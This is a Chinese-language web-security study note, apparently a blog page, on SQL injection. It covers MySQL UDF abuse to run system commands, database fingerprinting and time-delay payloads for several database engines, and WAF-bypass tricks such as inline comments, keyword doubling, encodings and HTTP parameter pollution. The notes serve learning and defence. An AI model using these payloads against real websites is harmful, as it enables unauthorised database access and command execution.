Web安全学习笔记 SQL注入中
繁枝插云欣 ——ICML8
UDF
User Defined Function,用户自定义函数
是MySQL提供的一个功能
可以通过编写DLL扩展为MySQL添加新函数
扩充其功能
当获得MySQL权限之后
即可通过这种方式上传自定义的扩展文件
从MySQL中执行系统命令
sleep sleep(1)
benchmark BENCHMARK(5000000, MD5('test'))
字符串连接
SELECT 'a' 'b'
SELECT CONCAT('some','string')
version
SELECT @@version
SELECT version()
识别用函数
connection_id()
last_insert_id()
row_count()
字符串连接
'a'||'oracle' --
SELECT CONCAT('some','string')
version
SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
WAITFOR WAITFOR DELAY '00:00:10';
SERVERNAME SELECT @@SERVERNAME
version SELECT @@version
字符串连接
SELECT 'some'+'string'
常量
@@pack_received
@@rowcount
sleep pg_sleep(1)
1.编码绕过
大小写
url编码
html编码
十六进制编码
unicode编码
2.注释
// -- -- + -- - # /**/ ;%00
内联注释用的更多
它有一个特性 /!**/
只有MySQL能识别
e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
3.只过滤了一次时
union
=> ununionion
4.相同功能替换
substring
/ mid
/ sub
ascii
/ hex
/ bin
benchmark
/ sleep
user()
/ @@user
and
/ &
or
/ |
5.HTTP参数
id=1&id=2&id=3
根据容器不同会有不同的结果
6.缓冲区溢出
一些C语言的WAF处理的字符串长度有限超出某个长度后的payload可能不会被处理
二次注入有长度限制时通过多句执行的方法改掉数据库该字段的长度绕过
手机扫一扫
移动阅读更方便
你可能感兴趣的文章